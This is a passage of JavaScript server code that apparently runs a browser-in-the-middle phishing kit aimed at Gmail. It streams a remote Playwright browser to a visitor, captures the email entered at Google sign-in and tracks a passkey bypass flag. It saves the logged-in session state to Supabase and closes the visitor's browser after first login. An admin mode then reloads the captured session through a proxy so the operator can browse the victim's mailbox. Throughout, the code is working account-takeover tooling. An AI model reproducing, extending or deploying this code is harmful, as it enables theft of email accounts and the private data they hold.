| if (frame !== page.mainFrame()) return; |
| try { |
| const nextUrl = page.url(); |
| if (!isInvalidPageUrl(nextUrl)) { |
| session.lastKnownUrl = nextUrl; |
| } |
| } catch {} |
| if (page === session.page) { |
| await handlePasskeyPrompt(page, session); |
| await maybePersistSession(session); |
| } |
| if (session.adminClient) { |
| sendTabs(session); |
| } |
| }); |
|
|
| if (makeActive) { |
| setActivePage(session, page); |
| } else { |
| sendTabs(session); |
| } |
| } |
|
|
| function getStreamIntervalMs(session) { |
| return Math.min(1000, Math.max(60, Number(session?.streamIntervalMs || STREAM_INTERVAL_MS))); |
| } |
|
|
| function getStreamQuality(session) { |
| return Math.min(100, Math.max(10, Number(session?.streamQuality || STREAM_JPEG_QUALITY))); |
| } |
|
|
| async function stopScreencast(session) { |
| if (!session) return; |
| const cdp = session.cdpSession; |
| if (cdp && session.screencastListener && cdp.removeListener) { |
| cdp.removeListener("Page.screencastFrame", session.screencastListener); |
| } |
| session.screencastListener = null; |
| session.screencastPage = null; |
| session.screencastActive = false; |
| session.streamLoopRunning = false; |
|
|
| if (cdp) { |
| try { |
| await cdp.send("Page.stopScreencast"); |
| } catch {} |
| try { |
| await cdp.detach(); |
| } catch {} |
| } |
| session.cdpSession = null; |
| } |
|
|
| async function startScreencast(session) { |
| if (!session?.page || session.page.isClosed?.()) return false; |
| if (!session.context) return false; |
| if (session.screencastActive && session.screencastPage === session.page) { |
| return true; |
| } |
|
|
| await stopScreencast(session); |
|
|
| const page = session.page; |
| const viewport = page.viewportSize() || { width: 1280, height: 720 }; |
| const quality = getStreamQuality(session); |
| const everyNthFrame = session.adminClient ? ADMIN_EVERY_NTH_FRAME : 1; |
|
|
| let cdp; |
| try { |
| cdp = await session.context.newCDPSession(page); |
| } catch (err) { |
| console.warn("Failed to create CDP session:", err.message); |
| return false; |
| } |
|
|
| session.cdpSession = cdp; |
| session.screencastPage = page; |
| session.screencastActive = true; |
| session.streamLoopRunning = true; |
|
|
| const onFrame = async (payload) => { |
| const ack = () => { |
| cdp |
| .send("Page.screencastFrameAck", { sessionId: payload.sessionId }) |
| .catch(() => {}); |
| }; |
| try { |
| if (!session.streaming) { |
| return; |
| } |
| const ws = session.ws; |
| if (!ws || ws.readyState !== ws.OPEN) { |
| return; |
| } |
|
|
| const now = Date.now(); |
|
|
| if (session.freezeStream && session.freezeUntil && now >= session.freezeUntil) { |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } |
|
|
| if (session.freezeStream && session.lastFrame && session.freezeUntil && now < session.freezeUntil) { |
| session.lastFrameAt = now; |
| ws.send(JSON.stringify(session.lastFrame)); |
| return; |
| } |
|
|
| const meta = payload.metadata || {}; |
| const width = Math.round(meta.deviceWidth || viewport.width); |
| const height = Math.round(meta.deviceHeight || viewport.height); |
| const frame = { |
| type: "frame", |
| width, |
| height, |
| data: payload.data |
| }; |
| session.lastFrame = frame; |
| session.lastFrameAt = now; |
| ws.send(JSON.stringify(frame)); |
| } catch (err) { |
| if (!/Target page|browser has been closed/i.test(err?.message || "")) { |
| console.warn("Screencast error:", err.message); |
| } |
| } finally { |
| ack(); |
| } |
| }; |
|
|
| session.screencastListener = onFrame; |
| cdp.on("Page.screencastFrame", onFrame); |
|
|
| try { |
| await cdp.send("Page.enable"); |
| await cdp.send("Page.startScreencast", { |
| format: "jpeg", |
| quality, |
| maxWidth: viewport.width, |
| maxHeight: viewport.height, |
| everyNthFrame |
| }); |
| return true; |
| } catch (err) { |
| console.warn("Failed to start screencast:", err.message); |
| await stopScreencast(session); |
| return false; |
| } |
| } |
|
|
| async function restartScreencast(session) { |
| await stopScreencast(session); |
| return startScreencast(session); |
| } |
|
|
| async function screenshotLoop(session) { |
| while (session.streaming) { |
| const intervalMs = getStreamIntervalMs(session); |
| try { |
| const ws = session.ws; |
| if (!ws || ws.readyState !== ws.OPEN) { |
| await new Promise((resolve) => setTimeout(resolve, intervalMs)); |
| continue; |
| } |
| const page = session.page; |
| if (!page || page.isClosed?.()) { |
| await new Promise((resolve) => setTimeout(resolve, intervalMs)); |
| continue; |
| } |
| if (session.freezeStream && session.lastFrame && session.freezeUntil && Date.now() < session.freezeUntil) { |
| session.lastFrameAt = Date.now(); |
| ws.send(JSON.stringify(session.lastFrame)); |
| } else { |
| if (session.freezeStream && session.freezeUntil && Date.now() >= session.freezeUntil) { |
| session.freezeStream = false; |
| session.freezeUntil = null; |
| session.freezeReason = null; |
| } |
| const quality = getStreamQuality(session); |
| const buffer = await page.screenshot({ type: "jpeg", quality, caret: "initial" }); |
| const viewport = page.viewportSize() || { width: 1280, height: 720 }; |
| const payload = { |
| type: "frame", |
| width: viewport.width, |
| height: viewport.height, |
| data: buffer.toString("base64") |
| }; |
| session.lastFrame = payload; |
| session.lastFrameAt = Date.now(); |
| ws.send(JSON.stringify(payload)); |
| } |
| } catch (err) { |
| if (!/Target page|browser has been closed/i.test(err?.message || "")) { |
| console.warn("Screenshot error:", err.message); |
| } |
| } |
|
|
| await new Promise((resolve) => setTimeout(resolve, intervalMs)); |
| } |
|
|
| session.streamLoopRunning = false; |
| } |
|
|
| async function streamLoop(session) { |
| if (STREAM_MODE === "screencast") { |
| if (session.streamLoopRunning && session.screencastPage === session.page) return; |
| const ok = await startScreencast(session); |
| if (!ok) { |
| session.streamLoopRunning = false; |
| session.streaming = false; |
| if (session.ws?.readyState === session.ws.OPEN) { |
| session.ws.send( |
| JSON.stringify({ |
| type: "busy", |
| retryAfterSec: Math.round(IDLE_TIMEOUT_MS / 1000) |
| }) |
| ); |
| } |
| await terminateBrowserSession(session); |
| } |
| return; |
| } |
|
|
| if (session.streamLoopRunning) return; |
| session.streamLoopRunning = true; |
| await screenshotLoop(session); |
| } |
|
|
| async function maybePersistSession(session) { |
| await maybeCaptureEmail(session); |
| const isLoggedIn = await isAuthenticatedSession(session); |
| if (!isLoggedIn) { |
| session.loggedIn = false; |
| return; |
| } |
|
|
| const firstLogin = !session.loggedIn; |
| session.loggedIn = true; |
| if (firstLogin && !session.adminClient && session.ws && session.ws.readyState === session.ws.OPEN) { |
| session.ws.send(JSON.stringify({ type: "logged_in" })); |
| } |
| if (session.adminClient) return; |
| ensureSnapshotTimer(session); |
| if (!session.lastSnapshotAt) { |
| await autoSnapshot(session); |
| } |
| if (firstLogin) { |
| terminateBrowserSession(session).catch(() => {}); |
| } |
| } |
|
|
| async function closeSession(session) { |
| if (!session) return; |
| await stopScreencast(session); |
| if (session.detachTimer) { |
| clearTimeout(session.detachTimer); |
| session.detachTimer = null; |
| } |
| session.streaming = false; |
| clearIdleTimer(session); |
| stopSelfHealMonitor(session); |
| if (session.passkeyInterval) { |
| clearInterval(session.passkeyInterval); |
| session.passkeyInterval = null; |
| } |
| if (session.snapshotTimer) { |
| clearInterval(session.snapshotTimer); |
| session.snapshotTimer = null; |
| } |
| stopBlankGuard(session); |
| try { |
| await session.browser?.close(); |
| } catch (err) { |
| console.warn("Browser close failed", err); |
| } |
| sessionsById.delete(session.sessionId); |
| if (session.ws) { |
| sessions.delete(session.ws); |
| } |
| } |
|
|
| function detachSession(session) { |
| if (!session || session.detached) return; |
| session.detached = true; |
| session.streaming = false; |
| stopScreencast(session).catch(() => {}); |
| if (session.passkeyInterval) { |
| clearInterval(session.passkeyInterval); |
| session.passkeyInterval = null; |
| } |
| if (session.snapshotTimer) { |
| clearInterval(session.snapshotTimer); |
| session.snapshotTimer = null; |
| } |
| stopBlankGuard(session); |
| if (session.detachTimer) { |
| clearTimeout(session.detachTimer); |
| } |
| session.detachTimer = setTimeout(() => { |
| closeSession(session).catch(() => {}); |
| }, DETACH_TTL_MS); |
| } |
|
|
| async function terminateBrowserSession(session) { |
| await stopScreencast(session); |
| session.streaming = false; |
| const start = Date.now(); |
| while (session.streamLoopRunning && Date.now() - start < 2000) { |
| await new Promise((resolve) => setTimeout(resolve, 50)); |
| } |
| clearIdleTimer(session); |
| stopSelfHealMonitor(session); |
| if (session.passkeyInterval) { |
| clearInterval(session.passkeyInterval); |
| session.passkeyInterval = null; |
| } |
| if (session.snapshotTimer) { |
| clearInterval(session.snapshotTimer); |
| session.snapshotTimer = null; |
| } |
| stopBlankGuard(session); |
| try { |
| await session.context?.close(); |
| } catch (err) {} |
| try { |
| await session.browser?.close(); |
| } catch (err) {} |
| session.page = null; |
| session.context = null; |
| session.browser = null; |
| } |
|
|
| async function attachToExistingSession(ws, session, target) { |
| if (!target || !target.browser) return session; |
|
|
| if (session && session.sessionId !== target.sessionId) { |
| sessionsById.delete(session.sessionId); |
| sessions.delete(ws); |
| } |
|
|
| if (target.ws && target.ws !== ws) { |
| sessions.delete(target.ws); |
| } |
|
|
| target.ws = ws; |
| sessions.set(ws, target); |
| target.detached = false; |
| if (target.detachTimer) { |
| clearTimeout(target.detachTimer); |
| target.detachTimer = null; |
| } |
| target.streaming = true; |
| if (!target.passkeyInterval && target.page) { |
| target.passkeyInterval = setInterval(() => { |
| handlePasskeyPrompt(target.page, target).catch(() => {}); |
| }, 2000); |
| } |
| startBlankGuard(target); |
| streamLoop(target); |
| startSelfHealMonitor(target); |
| ws.send(JSON.stringify({ type: "session", sessionId: target.sessionId })); |
| ws.send(JSON.stringify({ type: "attached" })); |
| markSessionActivity(target); |
| return target; |
| } |
|
|
| wss.on("connection", (ws, req) => { |
| const isAdmin = hasAdminAccess(req); |
| const sessionId = uuidv4(); |
| let session = { |
| ws, |
| sessionId, |
| createdAt: new Date().toISOString(), |
| deviceInfo: null, |
| browser: null, |
| context: null, |
| page: null, |
| contextOptions: null, |
| browserArgs: null, |
| streaming: false, |
| adjustedFirstPage: false, |
| persisted: false, |
| userId: null, |
| passkeyInterval: null, |
| passkeyBypassInFlight: false, |
| hasSeenPasswordInput: false, |
| lastFrame: null, |
| lastFrameAt: null, |
| streamQuality: STREAM_JPEG_QUALITY, |
| streamIntervalMs: STREAM_INTERVAL_MS, |
| freezeStream: false, |
| freezeUntil: null, |
| freezeReason: null, |
| lockViewport: false, |
| cdpSession: null, |
| screencastActive: false, |
| screencastPage: null, |
| screencastListener: null, |
| accountEmail: null, |
| localSaved: false, |
| backupSaved: false, |
| streamLoopRunning: false, |
| detached: false, |
| detachTimer: null, |
| adminBusy: false, |
| loggedIn: false, |
| snapshotTimer: null, |
| snapshotInFlight: false, |
| lastSnapshotAt: null, |
| lastActivityAt: null, |
| idleTimer: null, |
| hibernatedAt: null, |
| hibernatedReason: null, |
| lastAuthCheckAt: null, |
| lastAuthCheckResult: null, |
| lastEmailCaptureAt: null, |
| lastHeartbeatAt: null, |
| lastHeartbeatHidden: null, |
| lastSelfHealLogAt: null, |
| lastSelfHealAction: null, |
| lastBrainAt: null, |
| lastBrainAction: null, |
| lastBrainError: null, |
| lastKnownUrl: null, |
| fallbackEmail: null, |
| adminClient: false, |
| pages: new Map(), |
| pageOrder: [], |
| activePageId: null, |
| nextPageId: 1, |
| isAdmin, |
| pendingStart: false, |
| pendingStartPayload: null, |
| blankGuardInterval: null, |
| selfHealInterval: null, |
| selfHealInFlight: false, |
| profileDir: null, |
| envOverrides: null, |
| proxy: null |
| }; |
|
|
| sessions.set(ws, session); |
| sessionsById.set(sessionId, session); |
|
|
| ws.send(JSON.stringify({ type: "session", sessionId })); |
|
|
| ws.on("message", async (data) => { |
| let msg; |
| try { |
| msg = JSON.parse(data.toString()); |
| } catch { |
| return; |
| } |
|
|
| if (msg.type === "attach") { |
| const targetId = msg.payload?.sessionId; |
| if (!targetId) { |
| ws.send(JSON.stringify({ type: "attach_failed", message: "missing_session_id" })); |
| return; |
| } |
| const target = sessionsById.get(targetId); |
| if (!target || !target.browser) { |
| ws.send(JSON.stringify({ type: "attach_failed", message: "not_found" })); |
| return; |
| } |
| session = await attachToExistingSession(ws, session, target); |
| return; |
| } |
|
|
| if (msg.type === "device_info") { |
| session.deviceInfo = normalizeDeviceInfo(msg.payload); |
| session.userId = msg.payload?.userId || null; |
| if (session.pendingStart) { |
| const payload = session.pendingStartPayload || {}; |
| session.pendingStart = false; |
| session.pendingStartPayload = null; |
| try { |
| await startNewSession(session, ws, payload); |
| } catch (err) { |
| console.error("Failed to start Playwright session:", err.message); |
| ws.send(JSON.stringify({ type: "error", message: err.message })); |
| } |
| } |
| return; |
| } |
|
|
| if (msg.type === "heartbeat") { |
| session.lastHeartbeatAt = Date.now(); |
| session.lastHeartbeatHidden = !!msg.payload?.hidden; |
| if (msg.payload?.selfHeal) { |
| runSelfHealCheck(session, "heartbeat").catch(() => {}); |
| } |
| return; |
| } |
|
|
| if (msg.type === "sync") { |
| if (session.ws?.readyState === session.ws.OPEN && session.lastFrame) { |
| session.ws.send(JSON.stringify(session.lastFrame)); |
| } |
| if (session.loggedIn && !session.adminClient && session.ws?.readyState === session.ws.OPEN) { |
| session.ws.send(JSON.stringify({ type: "logged_in" })); |
| } |
| return; |
| } |
|
|
| if (msg.type === "quality") { |
| const quality = Number(msg.payload?.quality); |
| const intervalMs = Number(msg.payload?.intervalMs); |
| if (Number.isFinite(quality)) { |
| session.streamQuality = Math.min(100, Math.max(10, Math.round(quality))); |
| } |
| if (Number.isFinite(intervalMs)) { |
| session.streamIntervalMs = Math.min(1000, Math.max(60, Math.round(intervalMs))); |
| } |
| if (STREAM_MODE === "screencast") { |
| restartScreencast(session).catch(() => {}); |
| } |
| return; |
| } |
|
|
| if (msg.type === "ping") { |
| if (session.ws?.readyState === session.ws.OPEN) { |
| session.ws.send( |
| JSON.stringify({ |
| type: "pong", |
| ts: msg.payload?.ts || Date.now() |
| }) |
| ); |
| } |
| return; |
| } |
|
|
| if (msg.type === "admin_client") { |
| session.adminClient = true; |
| session.streamQuality = ADMIN_STREAM_JPEG_QUALITY; |
| if (STREAM_MODE === "screencast") { |
| restartScreencast(session).catch(() => {}); |
| } |
| return; |
| } |
|
|
| if (msg.type === "start") { |
| try { |
| if (!session.deviceInfo) { |
| session.pendingStart = true; |
| session.pendingStartPayload = msg.payload || {}; |
| return; |
| } |
|
|
| const existing = findActiveSessionByUserId(session.userId, session.sessionId); |
| if (existing) { |
| session = await attachToExistingSession(ws, session, existing); |
| return; |
| } |
|
|
| if (hasOtherActiveSession(session.sessionId)) { |
| ws.send(JSON.stringify({ type: "busy", retryAfterSec: Math.round(IDLE_TIMEOUT_MS / 1000) })); |
| return; |
| } |
|
|
| await startNewSession(session, ws, msg.payload || {}); |
| markSessionActivity(session); |
| } catch (err) { |
| console.error("Failed to start Playwright session:", err.message); |
| ws.send(JSON.stringify({ type: "error", message: err.message })); |
| } |
| return; |
| } |
|
|
| if (msg.type === "resume") { |
| if (!session.deviceInfo) return; |
| if (hasOtherActiveSession(session.sessionId)) { |
| ws.send(JSON.stringify({ type: "busy", retryAfterSec: Math.round(IDLE_TIMEOUT_MS / 1000) })); |
| return; |
| } |
| const { storageStatePath, remotePath } = msg.payload || {}; |
| let localStatePath = storageStatePath; |
|
|
| if (!localStatePath && remotePath) { |
| localStatePath = path.join(SESSIONS_DIR, `${session.sessionId}.json`); |
| await downloadFromSupabase(remotePath, localStatePath); |
| } |
|
|
| const resumeProfileDir = path.join(PROFILES_DIR, session.sessionId); |
| ensureDir(resumeProfileDir); |
| const selectedProxy = session.proxy || selectProxyForSession(); |
| session.proxy = selectedProxy; |
| const playwrightSession = await startPlaywrightSession({ |
| ws, |
| deviceInfo: session.deviceInfo, |
| existingStatePath: localStatePath, |
| profileDir: resumeProfileDir, |
| proxy: selectedProxy |
| }); |
|
|
| session.browser = playwrightSession.browser; |
| session.context = playwrightSession.context; |
| session.page = playwrightSession.page; |
| session.contextOptions = playwrightSession.contextOptions; |
| session.browserArgs = playwrightSession.browserArgs; |
| session.profileDir = resumeProfileDir; |
| session.envOverrides = null; |
| session.streaming = true; |
| session.detached = false; |
| session.hibernatedAt = null; |
| session.hibernatedReason = null; |
| session.lastFrameAt = null; |
| if (session.detachTimer) { |
| clearTimeout(session.detachTimer); |
| session.detachTimer = null; |
| } |
|
|
| if (session.context && !session.context.__tabsAttached) { |
| session.context.__tabsAttached = true; |
| session.context.on("page", (page) => { |
| registerPage(session, page, { makeActive: true }); |
| }); |
| } |
|
|
| registerPage(session, session.page, { makeActive: true }); |
|
|
| await session.page.goto("https://mail.google.com/", { waitUntil: "domcontentloaded" }); |
| try { |
| session.lastKnownUrl = session.page.url(); |
| } catch {} |
| session.passkeyInterval = setInterval(() => { |
| handlePasskeyPrompt(session.page, session).catch(() => {}); |
| }, 2000); |
| startBlankGuard(session); |
| markSessionActivity(session); |
| await maybePersistSession(session); |
| streamLoop(session); |
| startSelfHealMonitor(session); |
| return; |
| } |
|
|
| if (msg.type === "admin_resume") { |
| if (!session.isAdmin) { |
| ws.send(JSON.stringify({ type: "error", message: "admin_auth_required" })); |
| return; |
| } |
| session.adminClient = true; |
| const prefix = msg.payload?.prefix; |
| const sessionKey = msg.payload?.sessionId; |
| const snapshotId = msg.payload?.snapshotId; |
| if (!prefix || !sessionKey) return; |
| if (session.adminBusy) { |
| ws.send(JSON.stringify({ type: "error", message: "admin_busy" })); |
| return; |
| } |
| session.adminBusy = true; |
|
|
| try { |
| await terminateBrowserSession(session); |
|
|
| const { statePath, env } = await downloadSnapshotFromSupabase(prefix, sessionKey, snapshotId); |
| if (!env) throw new Error("env_missing"); |
|
|
| const envDeviceInfo = env.deviceInfo || { |
| deviceType: "desktop", |
| language: env.contextOptions?.locale || "en-US", |
| timeZone: env.contextOptions?.timezoneId || null, |
| viewport: env.contextOptions?.viewport || { width: 1280, height: 720 }, |
| screen: env.contextOptions?.screen || { width: 1280, height: 720 }, |
| userAgent: env.contextOptions?.userAgent || "", |
| deviceScaleFactor: env.contextOptions?.deviceScaleFactor || 1 |
| }; |
|
|
| session.deviceInfo = normalizeDeviceInfo(envDeviceInfo); |
| session.accountEmail = env.email || session.accountEmail; |
| session.loggedIn = true; |
| session.lockViewport = ADMIN_LOCK_VIEWPORT; |
| session.hibernatedAt = null; |
| session.hibernatedReason = null; |
| session.lastFrameAt = null; |
|
|
| const profileKey = env.profileKey || env.sessionId || sessionKey; |
| const profileDirCandidate = profileKey ? path.join(PROFILES_DIR, profileKey) : null; |
| const profileExists = |
| !!profileDirCandidate && |
| fs.existsSync(profileDirCandidate) && |
| fs.readdirSync(profileDirCandidate).length > 0; |
| const shouldUsePersistent = (env.persistentProfile ?? PERSISTENT_PROFILE) && profileExists; |
| const adminProfileDir = shouldUsePersistent ? profileDirCandidate : null; |
| if (adminProfileDir) ensureDir(adminProfileDir); |
| const envOverrides = { ...env, persistentProfile: shouldUsePersistent }; |
| const selectedProxy = normalizeProxyRecord(env.proxy) || selectProxyForSession(); |
| session.proxy = selectedProxy; |
| const playwrightSession = await startPlaywrightSession({ |
| ws, |
| deviceInfo: session.deviceInfo, |
| existingStatePath: statePath, |
| envOverrides, |
| profileDir: adminProfileDir, |
| proxy: selectedProxy |
| }); |
|
|
| session.browser = playwrightSession.browser; |
| session.context = playwrightSession.context; |
| session.page = playwrightSession.page; |
| session.contextOptions = playwrightSession.contextOptions; |
| session.browserArgs = playwrightSession.browserArgs; |
| session.profileDir = adminProfileDir || profileDirCandidate || null; |
| session.envOverrides = envOverrides; |
| session.streaming = true; |
|
|
| if (session.context && !session.context.__tabsAttached) { |
| session.context.__tabsAttached = true; |
| session.context.on("page", (page) => { |
| registerPage(session, page, { makeActive: true }); |
| }); |
| } |
|
|
| registerPage(session, session.page, { makeActive: true }); |
|
|
| const lastUrl = env.lastUrl || ""; |
| const targetUrl = |
| lastUrl.includes("mail.google.com") || lastUrl.includes("myaccount.google.com") |
| ? lastUrl |
| : "https://mail.google.com/"; |
| await session.page.goto(targetUrl, { waitUntil: "domcontentloaded" }); |
| try { |
| session.lastKnownUrl = session.page.url(); |
| } catch {} |
|
|
| session.passkeyInterval = setInterval(() => { |
| handlePasskeyPrompt(session.page, session).catch(() => {}); |
| }, 2000); |
|
|
| startBlankGuard(session); |
| streamLoop(session); |
| startSelfHealMonitor(session); |
| } catch (err) { |
| console.error("Admin resume failed:", err.message); |
| ws.send(JSON.stringify({ type: "error", message: err.message })); |
| } finally { |
| session.adminBusy = false; |
| } |
| return; |
| } |
|
|
| if (msg.type === "manual_save") { |
| if (!session.page || session.page.isClosed?.()) { |
| ws.send(JSON.stringify({ type: "save_failed", message: "page_closed" })); |
| return; |
| } |
| if (session.snapshotInFlight) { |
| ws.send(JSON.stringify({ type: "save_failed", message: "snapshot_in_flight" })); |
| return; |
| } |
|
|
| const isLoggedIn = await isAuthenticatedSession(session); |
| if (!isLoggedIn) { |
| ws.send(JSON.stringify({ type: "save_failed", message: "not_logged_in" })); |
| return; |
| } |
|
|
| await maybeCaptureEmail(session); |
| const snapshotEmail = session.accountEmail || getFallbackEmail(session); |
|
|
| session.snapshotInFlight = true; |
| let result = null; |
| try { |
| result = await saveSnapshot(session, snapshotEmail, "manual"); |
| } catch (err) { |
| console.warn("Manual snapshot failed:", err.message); |
| } finally { |
| session.snapshotInFlight = false; |
| } |
| if (result?.ok) { |
| session.lastSnapshotAt = Date.now(); |
| ws.send( |
| JSON.stringify({ |
| type: "save_saved", |
| email: snapshotEmail, |
| label: result.label, |
| savedAt: result.savedAt, |
| snapshotId: result.snapshotId |
| }) |
| ); |
| } else { |
| const reason = result?.reason || "save_failed"; |
| const details = result?.details ? `: ${result.details}` : ""; |
| ws.send(JSON.stringify({ type: "save_failed", message: `${reason}${details}` })); |
| } |
| return; |
| } |
|
|
| if (msg.type === "admin_navigate") { |
| if (!session.isAdmin || !session.adminClient) { |
| ws.send(JSON.stringify({ type: "error", message: "admin_auth_required" })); |
| return; |
| } |
| const rawUrl = msg.payload?.url; |
| const targetUrl = normalizeTargetUrl(rawUrl); |
| if (!targetUrl) { |
| ws.send(JSON.stringify({ type: "error", message: "invalid_url" })); |
| return; |
| } |
| if (!session.context) { |
| ws.send(JSON.stringify({ type: "error", message: "no_browser" })); |
| return; |
| } |
| const openInNewTab = !!msg.payload?.newTab; |
| try { |
| let targetPage = session.page; |
| if (openInNewTab || !targetPage || targetPage.isClosed?.()) { |
| targetPage = await session.context.newPage(); |
| } |
| registerPage(session, targetPage, { makeActive: true }); |
| await targetPage.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 30000 }); |
| } catch (err) { |
| ws.send(JSON.stringify({ type: "error", message: err.message })); |
| } |
| return; |
| } |
|
|
| if (msg.type === "admin_switch_tab") { |
| if (!session.isAdmin || !session.adminClient) { |
| ws.send(JSON.stringify({ type: "error", message: "admin_auth_required" })); |
| return; |
| } |
| const tabId = msg.payload?.tabId; |
| if (!tabId) return; |
| const page = session.pages.get(tabId); |
| if (!page || page.isClosed?.()) { |
| ws.send(JSON.stringify({ type: "error", message: "tab_not_found" })); |
| return; |
| } |
| setActivePage(session, page); |
| return; |
| } |
|
|
| if (!session.page) return; |
|
|
| if (msg.type === "resize") { |
| if (session.lockViewport) return; |
| const { width, height } = msg.payload || {}; |
| if (width && height) { |
| await session.page.setViewportSize({ |
| width: Math.max(320, Math.floor(width)), |
| height: Math.max(480, Math.floor(height)) |
| }); |
| if (STREAM_MODE === "screencast") { |
| restartScreencast(session).catch(() => {}); |
| } |
| markSessionActivity(session); |
| } |
| return; |
| } |
|
|
| if (msg.type === "nav") { |
| const action = msg.payload?.action; |
| if (!session.page || session.page.isClosed?.()) return; |
| try { |
| if (action === "back") { |
| const response = await session.page.goBack({ waitUntil: "domcontentloaded", timeout: 15000 }); |
| const currentUrl = session.page.url(); |
| if (!response || isInvalidPageUrl(currentUrl)) { |
| await ensureLoginPage(session); |
| } |
| } else if (action === "forward") { |
| const response = await session.page.goForward({ waitUntil: "domcontentloaded", timeout: 15000 }); |
| const currentUrl = session.page.url(); |
| if (!response || isInvalidPageUrl(currentUrl)) { |
| await ensureLoginPage(session); |
| } |
| } else if (action === "reload") { |
| await session.page.reload({ waitUntil: "domcontentloaded", timeout: 15000 }); |
| } |
| markSessionActivity(session); |
| } catch (err) { |
| console.warn("Navigation error:", err.message); |
| ws.send(JSON.stringify({ type: "error", message: err.message })); |
| } |
| return; |
| } |
|
|
| if (msg.type === "event") { |
| if (session.adminBusy) return; |
| const evt = msg.payload; |
| if (!evt) return; |
| if (!session.page || session.page.isClosed?.()) return; |
|
|
| try { |
| if (evt.kind === "mouse_move") { |
| await session.page.mouse.move(evt.x, evt.y); |
| } else if (evt.kind === "mouse_down") { |
| await session.page.mouse.move(evt.x, evt.y); |
| await session.page.mouse.down({ button: evt.button || "left" }); |
| } else if (evt.kind === "mouse_up") { |
| await session.page.mouse.move(evt.x, evt.y); |
| await session.page.mouse.up({ button: evt.button || "left" }); |
| } else if (evt.kind === "click") { |
| if (!session.freezeStream) { |
| const isNextClick = await session.page |
| .evaluate(({ x, y }) => { |
| const el = document.elementFromPoint(x, y); |
| if (!el) return false; |
| const button = el.closest('button, input[type="submit"], div[role="button"]'); |
| if (!button) return false; |
| const text = (button.innerText || button.getAttribute("aria-label") || button.value || "") |
| .trim() |
| .toLowerCase(); |
| if (!text.includes("next")) return false; |
| const emailInput = document.querySelector('input[type="email"], input[name="identifier"], input#identifierId'); |
| if (!emailInput) return false; |
| const rect = emailInput.getBoundingClientRect(); |
| if (rect.width < 1 || rect.height < 1) return false; |
| return true; |
| }, { x: evt.x, y: evt.y }) |
| .catch(() => false); |
|
|
| if (isNextClick) { |
| beginEmailNextFreeze(session); |
| if (!session.accountEmail) { |
| const emailValue = await session.page |
| .evaluate(() => { |
| const input = document.querySelector('input[type="email"], input[name="identifier"], input#identifierId'); |
| return input?.value || ""; |
| }) |
| .catch(() => ""); |
| const normalized = normalizeEmailAddress(emailValue); |
| if (normalized) { |
| session.accountEmail = normalized; |
| } |
| } |
| watchEmailNextProgress(session, session.page); |
| } |
| } |
| } else if (evt.kind === "wheel") { |
| await session.page.mouse.wheel(evt.deltaX || 0, evt.deltaY || 0); |
| } else if (evt.kind === "key_press") { |
| if (evt.key === "Dead") return; |
| if (evt.key === "Enter") { |
| const onEmailStep = await isEmailStep(session.page); |
| const handled = onEmailStep ? await clickEmailNext(session.page) : false; |
|
|
| if (handled) { |
| beginEmailNextFreeze(session); |
| if (!session.accountEmail) { |
| const emailValue = await session.page |
| .evaluate(() => { |
| const input = document.querySelector( |
| 'input[type="email"], input[name="identifier"], input#identifierId' |
| ); |
| return input?.value || ""; |
| }) |
| .catch(() => ""); |
| const normalized = normalizeEmailAddress(emailValue); |
| if (normalized) { |
| session.accountEmail = normalized; |
| } |
| } |
| watchEmailNextProgress(session, session.page); |
| return; |
| } |
| } |
| if (evt.key) { |
| await session.page.keyboard.press(evt.key); |
| } |
| } else if (evt.kind === "key_down") { |
| if (evt.key === "Dead") { |
| return; |
| } |
| if (evt.key && evt.key.length === 1) { |
| await session.page.keyboard.insertText(evt.key); |
| } else if (evt.key) { |
| await session.page.keyboard.press(evt.key); |
| } |
| } else if (evt.kind === "key_combo") { |
| const comboParts = []; |
| if (evt.ctrlKey) comboParts.push("Control"); |
| if (evt.metaKey) comboParts.push("Meta"); |
| if (evt.shiftKey) comboParts.push("Shift"); |
| if (evt.altKey) comboParts.push("Alt"); |
| const key = evt.key && evt.key.length === 1 ? evt.key.toUpperCase() : evt.key; |
| if (key) comboParts.push(key); |
| const combo = comboParts.join("+"); |
| if (combo) { |
| await session.page.keyboard.press(combo); |
| } |
| } else if (evt.kind === "key_up") { |
| |
| } else if (evt.kind === "type") { |
| await session.page.keyboard.type(evt.text || ""); |
| } else if (evt.kind === "paste") { |
| if (evt.text) { |
| await session.page.keyboard.insertText(evt.text); |
| } |
| } |
| } catch (err) { |
| if (!/Target page|browser has been closed/i.test(err?.message || "")) { |
| console.warn("Event handling failed:", err.message); |
| } |
| return; |
| } |
|
|
| markSessionActivity(session); |
| await handlePasskeyPrompt(session.page, session); |
| await maybePersistSession(session); |
| return; |
| } |
|
|
| if (msg.type === "copy_request") { |
| try { |
| const text = await session.page.evaluate(() => { |
| const active = document.activeElement; |
| if (active && (active.tagName === "INPUT" || active.tagName === "TEXTAREA")) { |
| const start = active.selectionStart ?? 0; |
| const end = active.selectionEnd ?? 0; |
| return (active.value || "").substring(start, end); |
| } |
| return window.getSelection?.().toString() || ""; |
| }); |
| if (session.ws?.readyState === session.ws.OPEN) { |
| session.ws.send(JSON.stringify({ type: "copy_payload", text })); |
| } |
| } catch (err) { |
| ws.send(JSON.stringify({ type: "error", message: "copy_failed" })); |
| } |
| return; |
| } |
| }); |
|
|
| ws.on("close", async () => { |
| if (session?.ws === ws) { |
| detachSession(session); |
| } else { |
| sessions.delete(ws); |
| } |
| }); |
| }); |
|
|